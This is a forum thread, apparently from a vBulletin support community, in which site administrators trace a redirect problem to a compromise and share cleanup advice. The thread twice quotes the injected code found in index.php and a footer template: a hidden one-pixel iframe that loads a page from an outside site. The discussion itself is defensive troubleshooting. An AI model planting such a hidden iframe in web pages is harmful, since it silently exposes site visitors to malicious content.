vBulleting hacked by Quiettorture?
 

I'm having a very tough time figuring out exactly whether or not my instance of vBulletin has somehow been compromised or hacked (v3.6.8). Several (more than a few) of my members have alerted me that they are getting redirected to a dead website when visiting our forums with IE7. A few have indicated it happening on other vBulletin sites, but it does not happen anywhere else (non-vBulletin browsing).

The site they are being redirected to is www DOT quiettorture DOT com which appears to be dead. It also seems to be the site of a runescape clan according to a YouTube video.

If you Google it, please watch out for unsavory sites.

Here is what I can dig up so far:

Feedback from the thread on our site: http://forums.audioholics.com/forums...ad.php?t=41997

Another Italian thread that encountered it...

...and so did this site: http://www.e-budo.com/forum/showthread.php?p=460906

I'd love any feedback the community might have...

check your templates for redirects

Hi, some users of my forum also talks the same. Curiously i don´t see this. I have vb 3.6.8 Patch 1, and also i have read the same of Hawke.

¿Anybody have this issue? Thanks in advance

Did you read FRDS's post?

Yes dismounted i did read it. The template that i have used for more than four months and this issue happens since three days.

Thanks in advance

Yes, but if the hacker put arbitrary code into your templates, you wouldn't know but it'd still be there.

Ok, i was search in the template for quiettorture, torture, quiet and only obtain this:

newreply_reviewbit_ignore_global

<phrase 1="$post[username]">$vbphrase[administrator_decided_x_quiet]</phrase>

and

and

i thinks these instructions are legitimes of vbulletin...

Thanks in advance.. !

Look at your plugin list, is there anything unusual there? Also, look in your .htaccess file.

Thanks for your interest dismounted, i?m going to check my plugins, and my .htaccess it?s correct.

Thanks again, but it?s possible that the problem it?s a new spyware, more info at: www.forospyware.com%2Ft135658.html%23post654024

Check your actual index.php files and home.php files. If somebody gets your FTP password they can upload new php with redirects in them. They are relatively easy to clean up. This happened to my site a while back when my server company was compromised.

Thanks a lot Phaedrus, i check my index.php in the server and the finish of these archive i see this:

<iframe name="iwindow" style="border:0px solid white" scrolling=no width=1 height=1 align=top frameborder=0 src="http://gungauge.com/adbrite.html"></iframe>

Obviously this is not mine!

--------------- Added [DATE]1205076693[/DATE] at [TIME]1205076693[/TIME] ---------------

I don?t have any home.php in my server

Just make sure to check every index.php file, all of them everywhere on the server.

--------------- Added [DATE]1205076927[/DATE] at [TIME]1205076927[/TIME] ---------------

Also don't forget to change your FTP Password to something incomprehensible. A good strong password.

And also check all index.html pages. They'll have inserted it there too.

hawke search this at the footer of the template:

<iframe name="iwindow" style="border:0px solid white" scrolling=no width=1 height=1 align=top frameborder=0 src="http://gungauge.com/adbrite.html"></iframe>

i have these "script"

Check global.php at the bottom of the file.

If you have vbadvanced, check the vba_cmps_include_template.php file as well

thanks snakes1100, i don´t have any suspicious.

I found it in the footer... Nothing in the other locations. I'm checking my logs.

this is the question friend hawke. i?m very confused.

also check in your server the file index.php also it have these instruction.

Best regards hawke!

now i don?t have problems with ih

--------------- Added [DATE]1205151116[/DATE] at [TIME]1205151116[/TIME] ---------------

hawke any question contact to me. best regards